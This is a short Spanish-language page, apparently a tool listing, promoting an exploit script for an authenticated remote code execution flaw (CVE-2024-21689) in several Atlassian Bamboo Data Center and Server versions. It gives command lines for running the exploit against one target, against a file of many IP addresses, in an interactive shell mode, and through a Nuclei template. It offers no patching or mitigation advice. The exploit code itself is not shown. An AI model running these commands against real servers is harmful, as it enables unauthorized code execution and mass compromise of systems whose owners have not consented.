CVE-2024-21689

#CVE-2024–21689 RCE Bamboo Data Center and Server Atlassian

Puntuación CVSS - 7.6 🔥

Descripción

Esta vulnerabilidad RCE (Ejecución Remota de Código) de alta gravedad CVE-2024-21689 se introdujo en las versiones 9.1.0, 9.2.0, 9.3.0, 9.4.0, 9.5.0 y 9.6.0 de Bamboo Data Center and Server. Esta vulnerabilidad RCE (Ejecución Remota de Código), con una puntuación CVSS de 7.6, permite a un atacante autenticado ejecutar código arbitrario, lo que tiene un alto impacto en la confidencialidad, un alto impacto en la integridad, un alto impacto en la disponibilidad y requiere interacción del usuario.

Ejecutando el Script

• Modo URL única:
  root@kitploit:~

  python3 exploit.py -u http://<target-ip>:8090 -c "whoami"
  

• Modo archivo (para múltiples IPs):
  root@kitploit:~

  python3 exploit.py -f ips.txt -c "whoami"
  

• Modo shell interactivo:
  root@kitploit:~

  python3 exploit.py -u http://<target-ip>:8090 --shell
  

• Nuclei:
  root@kitploit:~

  nuclei exploit.yaml -f file.txt